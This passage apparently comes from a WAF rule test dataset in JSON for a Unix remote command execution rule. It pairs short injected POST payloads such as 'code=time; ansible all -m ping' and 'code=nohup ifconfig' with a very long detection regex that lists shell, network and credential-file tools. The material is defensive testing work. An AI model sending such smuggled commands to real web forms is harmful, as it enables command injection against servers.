|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "False positive against \"more\"" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=nohup ifconfig\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\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]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block `nohup` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible all -m ping\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@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\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\